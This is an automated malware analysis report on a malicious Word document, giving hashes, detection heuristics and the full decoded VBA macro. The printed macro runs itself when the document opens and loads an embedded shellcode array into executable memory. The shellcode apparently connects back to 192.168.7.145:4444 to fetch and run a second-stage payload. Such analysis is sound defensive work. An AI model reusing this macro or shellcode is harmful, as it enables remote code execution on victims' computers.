Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 005010be1f9a0bd4…

MALICIOUS

Office (OLE)

102.5 KB Created: 2018-01-15 15:39:00 Authoring application: Microsoft Macintosh Word First seen: 2018-01-23
MD5: 30ca59fd19f2ea733110d47eaa28df03 SHA-1: d805e91b13b5b78fe32c4f52df6d181b592456ae SHA-256: 005010be1f9a0bd4cbaabce829c6fe1f13649dfcfd050458d171d6ee2714470a
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains a legacy Word document with a VBA macro that exploits the CVE-2007-3899 vulnerability. This vulnerability allows for memory corruption, leading to arbitrary code execution. The VBA macro uses WinAPI calls such as VirtualAlloc and CreateThread, indicating it likely downloads and executes a second-stage payload.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Jcnzwwwh As Long, Xyvuiou As Variant, Styqrbmiz As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3157 bytes
SHA-256: 7c22c4e3fe8e8d78a6c2f84e8f27254cb07c11a21bbbe66a94df76886313cda1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Frla As Long, ByVal Ouygt As Long, ByVal Dvwvfcdt As LongPtr, Sghjrxoxv As Long, ByVal Jvuzuai As Long, Dvydsvh As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Ejnwh As Long, ByVal Uxvmdcgnh As Long, ByVal Ebrinveo As Long, ByVal Ojgpblkr As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Qxubefijs As LongPtr, ByRef Jmgjrlr As Any, ByVal Xtlxkurw As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Frla As Long, ByVal Ouygt As Long, ByVal Dvwvfcdt As Long, Sghjrxoxv As Long, ByVal Jvuzuai As Long, Dvydsvh As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Ejnwh As Long, ByVal Uxvmdcgnh As Long, ByVal Ebrinveo As Long, ByVal Ojgpblkr As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Qxubefijs As Long, ByRef Jmgjrlr As Any, ByVal Xtlxkurw As Long) As Long
#End If

Sub Auto_Open()
    Dim Jcnzwwwh As Long, Xyvuiou As Variant, Styqrbmiz As Long
#If VBA7 Then
    Dim Ltrn As LongPtr, Saq As LongPtr
#Else
    Dim Ltrn As Long, Saq As Long
#End If
    Xyvuiou = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 7, 145, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195)

    Ltrn = VirtualAlloc(0, UBound(Xyvuiou), &H1000, &H40)
    For Styqrbmiz = LBound(Xyvuiou) To UBound(Xyvuiou)
        Jcnzwwwh = Xyvuiou(Styqrbmiz)
        Saq = RtlMoveMemory(Ltrn + Styqrbmiz, Jcnzwwwh, 1)
    Next Styqrbmiz
    Saq = CreateThread(0, 0, Ltrn, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.